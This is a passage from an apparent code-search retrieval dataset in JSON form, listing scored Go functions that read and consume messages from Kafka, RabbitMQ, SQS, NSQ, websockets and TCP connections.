int(m.Typeof())).\n\t\t\tString(\"name\", m.Nameof()).\n\t\t\tError(\"error\", err).\n\t\t\tPrint(\"handle message error\")\n\t}\n}", "title": "" }, { "docid": "056121f02f5ab2b3dae1fa10972b09ab", "score": "0.6338534", "text": "func (t *cliTransHandler) Read(ctx context.Context, conn net.Conn, recvMsg remote.Message) (err error) {\n\tvar bufReader remote.ByteBuffer\n\tstats2.Record(ctx, recvMsg.RPCInfo(), stats.ReadStart, nil)\n\tdefer func() {\n\t\tt.ext.ReleaseBuffer(bufReader, err)\n\t\tstats2.Record(ctx, recvMsg.RPCInfo(), stats.ReadFinish, err)\n\t}()\n\n\tt.ext.SetReadTimeout(ctx, conn, recvMsg.RPCInfo().Config(), recvMsg.RPCRole())\n\tbufReader = t.ext.NewReadByteBuffer(ctx, conn, recvMsg)\n\trecvMsg.SetPayloadCodec(t.opt.PayloadCodec)\n\terr = t.codec.Decode(ctx, recvMsg, bufReader)\n\tif err != nil {\n\t\tif t.ext.IsTimeoutErr(err) {\n\t\t\treturn kerrors.ErrRPCTimeout.WithCause(err)\n\t\t}\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "d0c2f42e235047615ef894d00106405c", "score": "0.63374", "text": "func (c *Client) Read(data string) (err error) {\n\tmsg, err := parseMessage(data)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tm, ok := c.events[Unknown]\n\tif ok {\n\t\tfor _, f := range m {\n\t\t\tf(c, msg)\n\t\t}\n\t}\n\n\tif msg.Command == Unknown {\n\t\treturn // Already called these handlers.\n\t}\n\n\tif m, ok = c.events[msg.Command]; !ok {\n\t\treturn\n\t}\n\n\tfor _, f := range m {\n\t\tf(c, msg)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "f936ca6aa343e0669b610bb144ac50d8", "score": "0.63331306", "text": "func Consume(topicName string, groupID string) {\n\tfmt.Println(\"Consumer started.\")\n\n\t// make a new reader that consumes from topic-A\n\tr := kafka.NewReader(kafka.ReaderConfig{\n\t\tBrokers: []string{\"localhost:9092\"},\n\t\tGroupID: groupID,\n\t\tTopic: topicName,\n\t\tMinBytes: 10e3, // 10KB\n\t\tMaxBytes: 10e6, // 10MB\n\t})\n\n\tfor {\n\t\tm, err := r.ReadMessage(context.Background())\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tfmt.Printf(\"message at topic/partition/offset %v/%v/%v: %s = %s\\n\", m.Topic, m.Partition, m.Offset, string(m.Key), string(m.Value))\n\t}\n\n\tr.Close()\n\tfmt.Println(\"Consumer closed.\")\n}", "title": "" }, { "docid": "3bbcc0031795764e785bd3f3eefca28c", "score": "0.633035", "text": "func (c *MqClient) Consume(topic string, group *string, window *int32) (*Message, error) {\n\treq := NewMessage()\n\treq.SetCmd(proto.Consume)\n\treq.SetTopic(topic)\n\tif group != nil {\n\t\treq.SetConsumeGroup(*group)\n\t}\n\tif window != nil {\n\t\treq.SetWindow(*window)\n\t}\n\n\tresp, err := c.Invoke(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp.SetId(resp.OriginId())\n\tresp.RemoveHeader(proto.OriginId)\n\tif resp.Status == 200 {\n\t\turl := resp.OriginUrl()\n\t\tif url != \"\" {\n\t\t\tresp.Url = url\n\t\t\tresp.Status = -1\n\t\t\tresp.RemoveHeader(proto.OriginUrl)\n\t\t}\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "8d50179f93b3661bcee777b3770fe930", "score": "0.6327291", "text": "func (sub *Subscriber) ReadMessage() {\n\t// create new reader instance\n\treader := bufio.NewReader(sub.Conn)\n\tfor {\n\t\t// read message\n\t\trequest, _, err := reader.ReadLine()\n\t\tif err != nil {\n\t\t\t// stop reading buffer and exit goroutine\n\t\t\tlog.Println(\"Can't read line from socket:\", err)\n\t\t\tbreak\n\t\t} else {\n\t\t\t// check request before pushing into channel\n\t\t\tif len(request) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Connection Id as the address\n\t\t\tconnId := sub.Conn.RemoteAddr().String()\n\t\t\t// push message from subscriber to message channel\n\t\t\tlog.Printf(\"Received message %s on socket %s\", request, connId)\n\t\t\tsub.PublishBoard <- Message{\n\t\t\t\tPayload: request,\n\t\t\t\tSourceConnId: connId,\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "37ced26c9c221adc2b37afc09599317e", "score": "0.6309489", "text": "func Consume(ctx context.Context, topicName string) {\n\tconfig.TLSConfMutex.RLock()\n\tMessageBusConfigFilePath := config.Data.MessageBusConf.MessageBusConfigFilePath\n\tmessageBusType := config.Data.MessageBusConf.MessageBusType\n\tconfig.TLSConfMutex.RUnlock()\n\t// connecting to kafka\n\tk, err := dc.Communicator(messageBusType, MessageBusConfigFilePath, topicName)\n\tif err != nil {\n\t\tl.LogWithFields(ctx).Error(\"unable to connect to kafka\" + err.Error())\n\t\treturn\n\t}\n\t// subscribe from message bus\n\tif err := k.Accept(EventSubscriber); err != nil {\n\t\tl.Log.Error(err.Error())\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "e762ec9a811423d6622d924383c3f049", "score": "0.6305726", "text": "func (i *Client) read() error {\n\tr := bufio.NewReader(i.conn)\n\ttp := textproto.NewReader(r)\n\n\tfor {\n\t\tl, err := tp.ReadLine()\n\t\tswitch err {\n\t\tcase io.EOF:\n\t\t\tcontinue\n\t\tcase nil:\n\t\t\tev, err := parseLine(l)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ti.events <- ev\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"Error reading from server: %s\", err)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "6c9a7aba6ebd75ed254943565c759579", "score": "0.62902796", "text": "func (u *UnityServer) readMessage() {\n\tfor {\n\t\tdata := make([]byte, 8192)\n\t\tn, err := u.conn.Read(data)\n\t\tif err != nil {\n\t\t\tu.Logger.Errorf(\"Error: Reading socket - %v\", err)\n\t\t\tu.stop <- true\n\t\t\tbreak\n\t\t}\n\t\tu.incoming <- string(data[:n])\n\t}\n}", "title": "" }, { "docid": "7a97b74139beb1682015d58237fae294", "score": "0.627149", "text": "func (c *Client) Read(ctx context.Context, chain *Chain) {\n\tdefer func() {\n\t\th := chain.Repeater.Hub()\n\t\th.Unregister(c)\n\t\tc.conn.Close()\n\t}()\n\tc.conn.SetReadLimit(c.maxMessageSize)\n\tc.conn.SetReadDeadline(time.Now().Add(c.pongWait))\n\tc.conn.SetPongHandler(func(string) error { c.conn.SetReadDeadline(time.Now().Add(c.pongWait)); return nil })\n\tfor {\n\t\t_, message, err := c.conn.ReadMessage()\n\t\tif err != nil {\n\t\t\tif websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {\n\t\t\t\tc.logger.WithError(err).Warnln(\"unable to read message\")\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\t// TODO: unmarshaml message\n\t\t// update group information of client to hub\n\t\tc.reader.Read(ctx, chain, message)\n\t}\n}", "title": "" }, { "docid": "b50ff5a7f532e7c0abff70a77ebdc243", "score": "0.62615407", "text": "func receiveIncoming(reader *bufio.Reader, message *[]byte) (int, error) {\n numRead, err := reader.Read(*message)\n\n // let the caller choose how to deal with an EOF\n if err != nil && err != io.EOF {\n fmt.Println(\"Error reading incoming message: \", err.Error())\n }\n\n return numRead, err\n}", "title": "" }, { "docid": "efdfed4fe7c493046d22da558978c48c", "score": "0.62605846", "text": "func (self *Client) listenRead() {\n\t//log.Println(\"Listening read from client\")\n\tfor {\n\t\tselect {\n\n\t\t// receive done request\n\t\tcase <-self.done:\n\t\t\tself.server.RemoveClient() <- self\n\t\t\tfor _, ch := range self.channels {\n\t\t\t\tlog.Println(\"removing from \", ch)\n\t\t\t\tself.server.channels[ch].removeClient <- self\n\t\t\t}\n\t\t\tself.done <- true // for listenWrite method\n\t\t\treturn\n\t\tdefault:\n\t\t\tvar in []byte\n\t\t\tif err := websocket.Message.Receive(self.ws, &in); err != nil {\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\tself.done <- true\n\t\t\t\t\treturn\n\t\t\t\t} else if err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.Println(\"Recieved: \", string(in))\n\n\t\t\tvar event Event\n\t\t\tif err := json.Unmarshal(in, &event); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tself.events <- &event\n\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5b8857a36d484f9ff835f46e97117e97", "score": "0.62570184", "text": "func (service *SQSService) Consume() (string, error) {\n\tqueueURL, err := service.queueURL()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tinputReceive := &sqs.ReceiveMessageInput{\n\t\tMaxNumberOfMessages: aws.Int64(1),\n\t\tQueueUrl: aws.String(queueURL),\n\t}\n\toutput, err := service.SQSAPI.ReceiveMessage(inputReceive)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"unable to receive message from queue: %s \", err)\n\t}\n\n\tif output == nil || len(output.Messages) == 0 {\n\t\tlog.Println(\"no messages in queue\")\n\t\treturn \"\", nil\n\t}\n\n\tfirstMessage := *output.Messages[0]\n\n\tinputDelete := &sqs.DeleteMessageInput{\n\t\tQueueUrl: &queueURL,\n\t\tReceiptHandle: firstMessage.ReceiptHandle,\n\t}\n\t_, err = service.SQSAPI.DeleteMessage(inputDelete)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"unable to delete message from queue %s \", err)\n\t}\n\n\treturn *firstMessage.Body, nil\n}", "title": "" }, { "docid": "68a2840ee7c7196650ccf764dd2ad3e1", "score": "0.6243687", "text": "func (tt *Tester) Consume(topic string, key string, msg interface{}, options ...EmitOption) {\n\ttt.waitStartup()\n\n\topts := new(emitOption)\n\topts.applyOptions(options...)\n\tvalue := reflect.ValueOf(msg)\n\tif msg == nil || (value.Kind() == reflect.Ptr && value.IsNil()) {\n\t\ttt.pushMessage(topic, key, nil, opts.headers)\n\t} else {\n\t\tdata, err := tt.codecForTopic(topic).Encode(msg)\n\t\tif err != nil {\n\t\t\tpanic(fmt.Errorf(\"Error encoding value %v: %v\", msg, err))\n\t\t}\n\t\ttt.pushMessage(topic, key, data, opts.headers)\n\t}\n\n\ttt.waitForClients()\n}", "title": "" }, { "docid": "153f8186a5119ecab9ec051ddd2ca6b3", "score": "0.6231051", "text": "func (c *client) read() {\n\tc.t.Event(\"read\", \"Read Processing\")\n\nclose:\n\tfor {\n\n\t\t// Wait for a message to arrive.\n\t\tdata, length, err := c.t.ReqHandler.Read(c.ipAddress, c.reader)\n\t\ttimeRead := time.Now()\n\n\t\tif err != nil {\n\t\t\tif atomic.LoadInt32(&c.t.shuttingDown) == 0 {\n\t\t\t\tc.t.Event(\"read\", \"ERROR : %v\", err)\n\t\t\t}\n\n\t\t\t// temporary is declared to test for the existence of\n\t\t\t// the method coming from the net package.\n\t\t\ttype temporary interface {\n\t\t\t\tTemporary() bool\n\t\t\t}\n\n\t\t\tif e, ok := err.(temporary); ok {\n\t\t\t\tif !e.Temporary() {\n\t\t\t\t\tbreak close\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak close\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// Convert the IP:socket for populating TCPAddr value.\n\t\tparts := bytes.Split([]byte(c.ipAddress), []byte(\":\"))\n\t\tipAddress := string(parts[0])\n\t\tport, _ := strconv.Atoi(string(parts[1]))\n\n\t\t// Create the request.\n\t\tr := Request{\n\t\t\tTCP: c.t,\n\t\t\tTCPAddr: &net.TCPAddr{\n\t\t\t\tIP: net.ParseIP(ipAddress),\n\t\t\t\tPort: port,\n\t\t\t\tZone: c.t.tcpAddr.Zone,\n\t\t\t},\n\t\t\tIsIPv6: c.isIPv6,\n\t\t\tReadAt: timeRead,\n\t\t\tData: data,\n\t\t\tLength: length,\n\t\t}\n\n\t\t// Process the request on this goroutine that is\n\t\t// handling the socket connection.\n\t\tc.t.ReqHandler.Process(&r)\n\t}\n\n\t// Remove from the list of connections and report we are done.\n\tc.t.Event(\"read\", \"Shutting Down Client Routine\")\n\tc.t.remove(c.conn)\n\tc.wg.Done()\n\tc.t.Event(\"read\", \"Client Routine Down\")\n}", "title": "" }, { "docid": "fa32b7cf7a00f9530f3975c71578d022", "score": "0.6181756", "text": "func (client *AmqpConsumer) Receive(exchange string, routingKeys []string, queue string, queueOptions QueueOptions, queueTimeout time.Duration) chan AmqpMessage {\n\toutput := make(chan AmqpMessage)\n\n\tgo func() {\n\t\tfor {\n\t\t\tconn, ch, qname, err := client.setupConsuming(exchange, routingKeys, queue, queueOptions)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"[simpleamqp] Error doing setupConsuming -> \", err)\n\t\t\t\tlog.Println(\"[simpleamqp] Waiting before reconnect\")\n\t\t\t\ttime.Sleep(timeToReconnect)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmessages, err := ch.Consume(qname, \"\", true, false, false, false, nil)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"[simpleamqp] Error consuming messages -> \", err)\n\t\t\t}\n\n\t\t\tfor closed := false; closed != true; {\n\t\t\t\tclosed = messageToOuput(messages, output, queueTimeout)\n\t\t\t}\n\n\t\t\tlog.Println(\"[simpleamqp] Closing connection ...\")\n\t\t\tch.Close()\n\t\t\tconn.Close()\n\n\t\t\tlog.Println(\"[simpleamqp] Waiting before reconnect\")\n\t\t\ttime.Sleep(timeToReconnect)\n\t\t}\n\t}()\n\n\treturn output\n}", "title": "" }, { "docid": "2d113168fdd92600dcf0b7a88c6d9a90", "score": "0.6180048", "text": "func consume() {\n\tfor {\n\t\tmsg := <-msgs\n\t\tfmt.Println(msg)\n\t}\n}", "title": "" }, { "docid": "a80637b707176def71ac87c9857adb16", "score": "0.61781144", "text": "func (s *NSQSession) Consume() <-chan Message {\n\ts.combineConsume()\n\treturn s.receive\n}", "title": "" }, { "docid": "c0a4318406339a4ab02fd6a530a0b77f", "score": "0.61412024", "text": "func (c *Server) consume(channel *amqp.Channel, id int) {\n\tmsgs, err := channel.Consume(\n\t\tc.Config.QueueName,\n\t\tfmt.Sprintf(\"%s (%d/%d)\", c.Config.ConsumerName, id, c.Config.ConsumerCount),\n\t\tfalse,\n\t\tfalse,\n\t\tfalse,\n\t\tfalse,\n\t\tnil,\n\t)\n\tif err != nil {\n\t\tlog.Println(fmt.Sprintf(\"CRITICAL: Unable to start consumer (%d/%d)\", id, c.Config.ConsumerCount))\n\n\t\treturn\n\t}\n\n\tlog.Println(\"[\", id, \"] Running ...\")\n\tlog.Println(\"[\", id, \"] Press CTRL+C to exit ...\")\n\n\tfor msg := range msgs {\n\t\tlog.Println(\"[\", id, \"] Consumed:\", string(msg.Body))\n\n\t\tif err := msg.Ack(false); err != nil {\n\t\t\t// TODO: Should DLX the message\n\t\t\tlog.Println(\"unable to acknowledge the message, dropped\", err)\n\t\t}\n\t}\n\n\tlog.Println(\"[\", id, \"] Exiting ...\")\n}", "title": "" }, { "docid": "99cc208128812a7f57c6f9406574fb41", "score": "0.6141032", "text": "func (wc *WSConnection) ReadMsg(ctx context.Context) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tlogger.Errorf(\"ws soeckt Read Routine panic \", string(debug.Stack()))\n\t\t\t// wc.wsConn.Close()\n\t\t}\n\t}()\n\twc.wsConn.SetReadLimit(maxMessageSize)\n\twc.wsConn.SetReadDeadline(time.Now().Add(pongWait))\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tdefault:\n\t\t\tbreak\n\t\t}\n\t\tmsgType, message, err := wc.wsConn.ReadMessage()\n\t\tif err != nil {\n\t\t\tif websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {\n\t\t\t\tlogger.Errorf(\"ws soeckt Read err- \", err)\n\t\t\t}\n\t\t\tlogger.Errorf(\"ws soeckt Read err- %v\", err)\n\t\t\tbreak\n\t\t}\n\t\tif msgType == websocket.TextMessage {\n\t\t\tmessage = bytes.TrimSpace(bytes.Replace(message, newline, space, -1))\n\t\t}\n\t\tif wc.WChan != nil {\n\t\t\twc.WChan <- &ChanMsgPack{\n\t\t\t\tcid: wc.cid,\n\t\t\t\tbody: message,\n\t\t\t\tlogicBindID: wc.GetBindId(),\n\t\t\t}\n\t\t}\n\t\tlogger.Infof(\"ws soeckt receive id: %d msg %s \", wc.bindId, string(message))\n\t}\n}", "title": "" }, { "docid": "3bd348f720bbacaf9b7c79265b56db9d", "score": "0.61362684", "text": "func (b *Kafka) Consume(ctx context.Context, topic string, offset int64, imm bool, max int64) ([]string, error) {\n\n\tb.lockForTopic(topic)\n\n\tdefer b.unlockForTopic(topic)\n\t// Fetch offsets\n\tnewOff, err := b.Client.GetOffset(topic, 0, sarama.OffsetNewest)\n\n\tif err != nil {\n\t\tlog.Error(err.Error())\n\t}\n\n\toldOff, err := b.Client.GetOffset(topic, 0, sarama.OffsetOldest)\n\tif err != nil {\n\t\tlog.Error(err.Error())\n\t}\n\n\tlog.Infof(\"Consuming topic: %v, min_offset: %v, max_offset: %v, current_offset: %v\", topic, oldOff, newOff, offset)\n\n\t// If tracked offset is equal or bigger than topic offset means no new messages\n\tif offset >= newOff {\n\t\treturn []string{}, nil\n\t}\n\n\t// If tracked offset is left behind increment it to topic's min. offset\n\tif offset < oldOff {\n\t\tlog.Infof(\"Tracked offset is off for topic: %v, broker_offset %v, tracked_offset: %v\", topic, offset, oldOff)\n\t\treturn []string{}, errors.New(\"offset is off\")\n\t}\n\n\tpartitionConsumer, err := b.Consumer.ConsumePartition(topic, 0, offset)\n\n\tif err != nil {\n\t\tlog.Errorf(\"Unable to consume topic %v, %v, min_offset: %v, max_offset: %v, current_offset: %v\", topic, err.Error(), newOff, oldOff, offset)\n\t\treturn []string{}, err\n\n\t}\n\n\tdefer func() {\n\t\tif err := partitionConsumer.Close(); err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t}()\n\n\tmessages := make([]string, 0)\n\tvar consumed int64\n\ttimeout := time.After(300 * time.Second)\n\n\tif imm {\n\t\ttimeout = time.After(100 * time.Millisecond)\n\t}\n\nConsumerLoop:\n\tfor {\n\t\tselect {\n\t\t// If the http client cancels the http request break consume loop\n\t\tcase <-ctx.Done():\n\t\t\t{\n\t\t\t\tbreak ConsumerLoop\n\t\t\t}\n\t\tcase <-timeout:\n\t\t\t{\n\t\t\t\tbreak ConsumerLoop\n\t\t\t}\n\t\tcase msg := <-partitionConsumer.Messages():\n\n\t\t\tmessages = append(messages, string(msg.Value[:]))\n\n\t\t\tconsumed++\n\n\t\t\tlog.Infof(\"Consumed: %v, Max: %v, Latest Message: %v\", consumed, max, string(msg.Value[:]))\n\n\t\t\t// if we pass over the available messages and still want more\n\t\t\tif consumed >= max {\n\t\t\t\tbreak ConsumerLoop\n\t\t\t}\n\n\t\t\tif offset+consumed > newOff-1 {\n\t\t\t\t// if returnImmediately is set don't wait for more\n\t\t\t\tif imm {\n\t\t\t\t\tbreak ConsumerLoop\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn messages, nil\n}", "title": "" }, { "docid": "257d9c6ee120c54b6b7997158fee8e7e", "score": "0.61361116", "text": "func (sync *SyncClient) read(id uint32) (*Message, error) {\n\tgetter := messageReceiverPool.Get().(*messageReceiver)\n\tgetter.id = id\n\tsync.awaitMessageQ <- getter\n\tmes := <-getter.responce\n\tmessageReceiverPool.Put(getter)\n\tif mes.Code < 200 {\n\t\treturn mes, nil\n\t}\n\treturn nil, errors.New(mes.Name)\n}", "title": "" }, { "docid": "a4ef4f8b7013a5c789ae3e02731d7fc1", "score": "0.6132691", "text": "func consumeCtrlMsg(event interface{}) {\n\tvar ctrlMessage common.ControlMessageData\n\tdone := make(chan bool)\n\tdata, _ := json.Marshal(&event)\n\tvar redfishEvent common.Events\n\t// verifying the incoming event to check whether it's of type common events or control message data\n\tif err := json.Unmarshal(data, &redfishEvent); err == nil {\n\t\twriteEventToJobQueue(redfishEvent)\n\t} else {\n\t\tif err := json.Unmarshal(data, &ctrlMessage); err != nil {\n\t\t\tl.Log.Error(\"error while unmarshal the event\" + err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\tmsg := []interface{}{ctrlMessage}\n\tgo common.RunWriteWorkers(CtrlMsgRecvQueue, msg, 1, done)\n\tfor range done {\n\t\tbreak\n\t}\n\tmsg = nil\n\tclose(done)\n}", "title": "" }, { "docid": "5e72a54733b30a84c91dc2f60645ec85", "score": "0.6127236", "text": "func (confRabbit *RabbitMq) ConsumeMessage(queueName string, fn func(queueName string, body []byte) error) {\n\tmsgs, err := confRabbit.Ch().Consume(\n\t\tqueueName, // queue\n\t\t\"\", // consumer\n\t\ttrue, // auto-ack\n\t\tfalse, // exclusive\n\t\tfalse, // no-local\n\t\tfalse, // no-wait\n\t\tnil, // args\n\t)\n\tfailOnError(err, \"Failed to register a consumer\")\n\n\t//forever := make(chan bool)\n\n\tgo func() {\n\t\tlog.Printf(\"Consumer ready, PID: %d\", os.Getpid())\n\t\tfor d := range msgs {\n\t\t\t//log.Printf(\" %s: Received a message: %s\",queueName, d.Body)\n\t\t\terr := fn(queueName, d.Body)\n\n\t\t\t/*addTask := &gopher_and_rabbit.AddTask{}\n\n\t\t\terr := json.Unmarshal(d.Body, addTask)*/\n\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error decoding JSON: %s\", err)\n\t\t\t}\n\n\t\t\t//log.Printf(\"Result of %d + %d is : %d\", addTask.Number1, addTask.Number2, addTask.Number1+addTask.Number2)\n\n\t\t\t/*if err := d.Ack(false); err != nil {\n\t\t\t\tlog.Printf(\"Error acknowledging message : %s\", err)\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"Acknowledged message\")\n\t\t\t}*/\n\t\t}\n\t}()\n\t//log.Printf(\" [*] Waiting for messages. To exit press CTRL+C\")\n\t//<-forever\n}", "title": "" }, { "docid": "4f6f4bce6d2812f650d05a4b34a327ef", "score": "0.61261624", "text": "func (client *Client) Read() {\n\tvar message Message\n\tfor {\n\t\tif err := client.socket.ReadJSON(&message); err != nil {\n\t\t\tbreak\n\t\t}\n\t\t// Call findHandler to know which handler to call. If handler in router map value matches key then call it.\n\t\tif handler, found := client.findHandler(message.Name); found {\n\t\t\thandler(client, message.Data)\n\t\t}\n\t}\n\t// close connection once finished.\n\tclient.socket.Close()\n}", "title": "" }, { "docid": "cb45e8753284a51c097d8bc394214348", "score": "0.61205584", "text": "func (e *endpoint) Read(addr *tcpip.FullAddress) (buffer.View, tcpip.ControlMessages, *tcpip.Error) {\n\te.rcvMu.Lock()\n\n\tif e.rcvList.Empty() {\n\t\terr := tcpip.ErrWouldBlock\n\t\tif e.rcvClosed {\n\t\t\terr = tcpip.ErrClosedForReceive\n\t\t}\n\t\te.rcvMu.Unlock()\n\t\treturn buffer.View{}, tcpip.ControlMessages{}, err\n\t}\n\n\tp := e.rcvList.Front()\n\te.rcvList.Remove(p)\n\te.rcvBufSize -= p.data.Size()\n\tts := e.rcvTimestamp\n\n\te.rcvMu.Unlock()\n\n\tif addr != nil {\n\t\t*addr = p.senderAddress\n\t}\n\n\tif ts && !p.hasTimestamp {\n\t\t// Linux uses the current time.\n\t\tp.timestamp = e.stack.NowNanoseconds()\n\t}\n\n\treturn p.data.ToView(), tcpip.ControlMessages{HasTimestamp: ts, Timestamp: p.timestamp}, nil\n}", "title": "" }, { "docid": "0b6db323d52e6350db5effd7749a95af", "score": "0.6120511", "text": "func Consume(id string, ch <-chan string, wg *sync.WaitGroup) {\n\tfor s := range ch {\n\t\tfmt.Println(id, \"received\", s)\n\t\tRandomSleep(100) // Simulate time to consume data.\n\t}\n\n\t//Communicates that the consume function is done running its processes\n\twg.Done()\n}", "title": "" }, { "docid": "5edd032602f000c987772996afbd3091", "score": "0.6108587", "text": "func reader(conn *websocket.Conn) {\n\tfor {\n\t\t// read in a message\n\t\tmessageType, p, err := conn.ReadMessage()\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn\n\t\t}\n\t\t// print out that message for clarity\n\t\tfmt.Println(string(p))\n\n\t\tif err := conn.WriteMessage(messageType, p); err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn\n\t\t}\n\n\t}\n}", "title": "" }, { "docid": "c66008c1913838bbccfa90e302131844", "score": "0.61069626", "text": "func (b *Buffer) Consume(s functional.Stream) (err error) {\n b.idx, err = readStreamIntoSlice(s, b.buffer, b.handler)\n if err == functional.Done {\n err = nil\n }\n return\n}", "title": "" }, { "docid": "3e07f5cf3b3792c76a7ffd3a7f9f2d06", "score": "0.61036575", "text": "func reader(conn *websocket.Conn ) {\n\tfor {\n\t\t// read in a message\n\t\tmessageType, p, err := conn.ReadMessage()\n\t\tif err != nil && len(p) != 0 {\n\t\t\talltime <- (string)(p)\n\t\t\tif websocket.IsCloseError(err, websocket.CloseNormalClosure) {\n\t\t\t\tlog.Printf(\"error: %v\", err)\n\t\t\t}\n\t\t\tlog.Printf(\"error: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tprocessMessage(messageType,string(p))\n\n\t}\n}", "title": "" }, { "docid": "89ad0c61d3c0ad5ccffe6c6aeacbba09", "score": "0.6101002", "text": "func (c *Connection) Consume(done chan bool) error {\n\tmsgs, err := c.Channel.Consume(\n\t\tc.Config.Queue,\n\t\tc.Config.ConsumerTag,\n\t\tc.Config.Options.Consume.AutoAck,\n\t\tc.Config.Options.Consume.Exclusive,\n\t\tc.Config.Options.Consume.NoLocal,\n\t\tc.Config.Options.Consume.NoWait,\n\t\tc.Config.Options.Consume.Args,\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo c.HandleMsgs(msgs)\n\n\tlog.Println(\"Waiting for messages...\")\n\n\tfor {\n\t\tselect {\n\t\tcase <-done:\n\t\t\tc.Channel.Close()\n\t\t\tc.Conn.Close()\n\n\t\t\treturn nil\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2320815166e475963f33a6eaefbb4e41", "score": "0.60774976", "text": "func (s *Server) handleRead(ctx context.Context, username string, c *websocket.Conn) error {\n\tvar data Message\n\n\tif err := wsjson.Read(ctx, c, &data); err != nil {\n\t\ts.userMu.Lock()\n\t\ts.unsubscribe(username)\n\t\ts.userMu.Unlock()\n\n\t\treturn err\n\t}\n\n\tdata.Username = username\n\n\ts.log.Info().Msgf(\"received %s message: %s\", data.Username, data.Text)\n\n\ts.writeCh <- data\n\n\treturn nil\n}", "title": "" }, { "docid": "415250930bd5447d2fdf0e2f715d6419", "score": "0.6076778", "text": "func (client *Client) receive() {\n\tbuff := make([]byte, 4096)\n\tfor {\n\t\t_, err := client.Conn.Read(buff)\n\t\tcheckError(err)\n\t\tfmt.Printf(\"%v: %s\", client, string(bytes.Trim(buff, \"\\x00\")))\n\t}\n}", "title": "" }, { "docid": "cf948f26c948dbeadd5fd9c312172747", "score": "0.6071758", "text": "func (c *Client) Read() (*Message, error) {\n\n\tm, ok := (<-c.received)\n\tif !ok {\n\t\treturn nil, errors.New(\"the received channel has been closed\")\n\t}\n\n\tif m.Err != nil {\n\t\tclose(c.received)\n\t\tclose(c.toWrite)\n\t\treturn nil, m.Err\n\t}\n\n\treturn m, nil\n}", "title": "" }, { "docid": "e268c9e50e8f49f7e849fbf4fabbb390", "score": "0.6062032", "text": "func (c *Consumer) Consume(useSchema bool, fn func(message []byte) error) error {\n\terr := c.consumer.SubscribeTopics([]string{c.topic}, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif useSchema {\n\t\tfor {\n\t\t\tmsg, err := c.consumer.ReadMessage(-1)\n\t\t\tif err == nil {\n\t\t\t\tschemaID := binary.BigEndian.Uint32(msg.Value[1:5])\n\t\t\t\tschema, err := c.schemaRegistryClient.GetSchema(int(schemaID))\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(fmt.Sprintf(\"[Error] Getting the schema with id '%d' %s\", schemaID, err.Error()))\n\t\t\t\t}\n\t\t\t\tnative, _, _ := schema.Codec().NativeFromBinary(msg.Value[5:])\n\t\t\t\tvalue, _ := schema.Codec().TextualFromNative(nil, native)\n\t\t\t\tif ec := fn(value); ec != nil {\n\t\t\t\t\tfmt.Println(fmt.Sprintf(\"[ERROR] Message consumed has error: %v\", ec.Error()))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfmt.Println(fmt.Sprintf(\"[Error] Having problem when consuming message from brokers: %v\", err.Error()))\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor {\n\t\t\tmsg, err := c.consumer.ReadMessage(-1)\n\t\t\tif err == nil {\n\t\t\t\tif ec := fn(msg.Value); ec != nil {\n\t\t\t\t\tfmt.Println(fmt.Sprintf(\"[ERROR] Message consumed has error: %v\", ec.Error()))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfmt.Println(fmt.Sprintf(\"[Error] Having problem when consuming message from brokers: %v\", err.Error()))\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5f8169971a3f26eabc318b0075a92b14", "score": "0.60604227", "text": "func (clientHandler) Read(ctx context.Context, bytes int64) context.Context { return ctx }", "title": "" }, { "docid": "2afc58402560c3296410126bf1a48e39", "score": "0.6057472", "text": "func (c *MockChan) Read(ctx *Ctx, in *bufio.Reader) error {\n\tctx.Logf(\"MockChan reading input\")\n\tfor {\n\t\tline, err := in.ReadBytes('\\n')\n\t\tif err != nil && err != io.EOF {\n\t\t\treturn err\n\t\t}\n\t\tif len(line) == 0 && err == io.EOF 